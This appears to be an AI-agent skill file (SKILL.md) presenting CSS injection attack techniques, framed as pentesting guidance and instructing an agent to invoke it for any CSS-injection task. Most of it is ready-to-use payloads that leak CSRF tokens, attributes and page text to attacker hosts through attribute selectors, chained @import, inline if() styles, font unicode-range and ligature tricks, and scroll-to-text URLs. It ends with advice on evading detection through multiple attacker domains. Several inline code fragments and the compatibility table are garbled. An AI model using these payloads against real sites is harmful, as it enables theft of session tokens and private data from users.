Hacktricks-skills css-injection-pentest
CSS injection attack techniques for web security testing. Use this skill whenever the user mentions CSS injection, style injection, attribute exfiltration, blind CSS attacks, @import exfiltration, unicode-range attacks, font-based data leakage, or any CSS-based information disclosure. Trigger for pentesting tasks involving CSS vulnerabilities, XSS search via CSS, or data exfiltration through style attributes. Make sure to use this skill for any web security assessment where CSS injection vectors are suspected or confirmed.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/css-injection/css-injection/SKILL.MDCSS Injection Pentesting
A comprehensive guide to CSS injection attack techniques for web security assessments.
When to Use This Skill
Use this skill when:
- You've identified a CSS injection vulnerability in a web application
- You need to exfiltrate data through CSS selectors and properties
- You're performing XSS search (XS-Search) using CSS techniques
- You need to enumerate hidden form fields, tokens, or sensitive data
- You're testing for blind CSS exfiltration scenarios
- You need to leverage CSS primitives for information disclosure
Prerequisites
Before attempting CSS injection attacks, verify:
- Payload Length: The injection vector must support sufficiently long payloads
- CSS Re-evaluation: Ability to trigger CSS re-evaluation (often requires framing the page)
- External Resources: Ability to load external images/resources (check CSP restrictions)
- Browser Support: Some techniques require specific browser features (e.g.,
,if()
):has
Technique 1: Attribute Selector Exfiltration
Extract data from input element attributes using CSS selectors.
Basic Pattern
input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* Repeat for all characters: 0-9, a-z, A-Z, special chars */
Bypass for Hidden Elements
Hidden inputs don't load backgrounds. Use the general sibling combinator:
input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); }
How it works: Targets any element following the hidden input, triggering the background load.
Blind Attribute Selector with :has
and :not
:has:notFor blind pages where you don't know the DOM structure:
html:has(input[name^="m"]):not(input[name="mytoken"]) { background: url(/m); }
This identifies content even from blind elements by combining
:has and :not selectors.
Technique 2: @import Chained Exfiltration
Advanced technique by Pepe Vila that loads the page once and chains exfiltration through
@import.
Payload Structure
@import url("//attacker.com:5001/start?");
Attack Flow
- Victim loads page with
to attacker server@import - Attacker sends CSS with:
- Another
(held pending)@import - Attribute selector payload to leak first/last character
- Another
- Attacker receives first/last char, responds to pending
@import - Repeat for second/penultimate character
- Continue until full secret is leaked
Key Advantages
- Only one initial payload needed
- No need to send multiple links to victim
- No iframe requirement
- Leaks 2 characters per iteration (prefix + suffix)
Selector Patterns
/* Match beginning of value */ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); } /* Match end of value */ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }
Technique 3: Inline-Style CSS Exfiltration
Exfiltrate data using only an element's inline style attribute. Requires Chromium-based browsers.
Prerequisites
- Control over an element's
attributestyle - Target attribute must be on the same element (
reads only same-element attributes)attr() - Browser supports CSS
conditionalsif()
Basic Pattern
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"> test </div>
Critical Notes
- Double quotes required in
comparisons (single quotes won't match)if() - Works best for finite/enumerable value spaces (IDs, flags, short usernames)
- Any CSS property that fetches URLs can trigger the request:
/backgroundimage-setborder-imagelist-stylecursorcontent
Enumerating Values
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: url(/4)))); background: image-set(var(--steal));' data-uid='1'></div>
Technique 4: @font-face with unicode-range
Extract text content by loading fonts only for specific Unicode characters present in the page.
Basic Pattern
@font-face { font-family: poc; src: url(http://attacker.example.com/?A); unicode-range: U+0041; } @font-face { font-family: poc; src: url(http://attacker.example.com/?B); unicode-range: U+0042; } @font-face { font-family: poc; src: url(http://attacker.example.com/?C); unicode-range: U+0043; } #sensitive-information { font-family: poc; }
Result: If text contains "AB", only
?A and ?B are fetched. ?C is not loaded.
Error-Based XS-Search
Use
@font-face to detect resource availability:
<style> @font-face { font-family: poc; src: url(http://attacker.com/?leak); unicode-range: U+0041; } #poc0 { font-family: "poc"; } </style> <object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
How it works: If
favicon.ico fails to load, fallback text "A" is displayed using the custom font, triggering the leak request.
Technique 5: Text Node Exfiltration with Default Fonts
Leak charset using pre-installed fonts (no external assets required).
Comic Sans Height Trick
Comic Sans is taller than default fonts. Use this to trigger scrollbars:
@font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } /* Repeat for all characters */ @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; overflow-x: hidden; height: 40px; font-size: 0px; font-family: rest; width: 0px; animation: loop step-end 200s 0s, trychar step-end 2s 0s; animation-iteration-count: 1, infinite; } div.leak::first-line { font-size: 30px; text-transform: uppercase; } @keyframes trychar { 5% { font-family: has_A, rest; --leak: url(?a); } /* Repeat for all characters */ } @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } /* Increment width to expose characters one at a time */ } div::-webkit-scrollbar:vertical { background: blue var(--leak); }
How it works:
- Animation expands div width, moving characters from suffix to prefix
- When a character enters prefix, trychar animation tests if it matches
- If match, Comic Sans is applied, making text taller
- Vertical scrollbar appears, triggering the leak URL
Technique 6: Scroll-to-Text Fragment
Exploit the
:target pseudo-class with Scroll-to-text fragments.
Payload
:target::before { content: url(http://attackers-domain/?confirmed_existence_of_Administrator_username); }
Attack URL
http://target.com/page?note=<style>:target::before{content:url(http://attacker/?leak)}</style>#:~:text=Administrator
How it works: If "Administrator" exists on the page, the fragment targets it, triggering the CSS rule and loading the attacker's resource.
Limitations
- Only matches words/sentences (not arbitrary secrets)
- Works only in top-level browsing contexts (not iframes)
- Requires user activation (clicking the link)
Technique 7: Ligature-Based Exfiltration
Extract text by exploiting font ligatures and width changes.
Process
-
Create SVG fonts with glyphs having large
for character pairs:horiz-adv-x<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/> -
Detect width changes via scrollbar:
body { white-space: nowrap; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } -
Iterative process:
- Detect 2-character ligatures
- Generate 3-character ligatures with detected pair
- Repeat until full text is revealed
Technique 8: Other CSS Selectors
Additional selectors for DOM access:
nth-child
.class-to-search:nth-child(2) { background-image: url(http://attacker.com/?second); }
:empty Selector
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Practical Considerations
CSP Bypasses
- Check if
is allowedunsafe-inline - Look for
that permits external resourcesstyle-src - Test if
allows external fontsfont-src - Verify
for background image loadingimg-src
Browser Compatibility
| Technique | Chrome | Firefox | Safari |
|---|---|---|---|
| Attribute selectors | ✓ | ✓ | ✓ |
selector | ✓ | ✓ | ✓ |
conditionals | ✓ | ✗ | ✗ |
chaining | ✓ | ✓ | ✓ |
| ✓ | ✓ | ✓ |
| Scroll-to-text | ✓ | ✓ | ✓ |
Rate Limiting
- Space out requests to avoid detection
- Use multiple attacker domains
- Implement delays between character leaks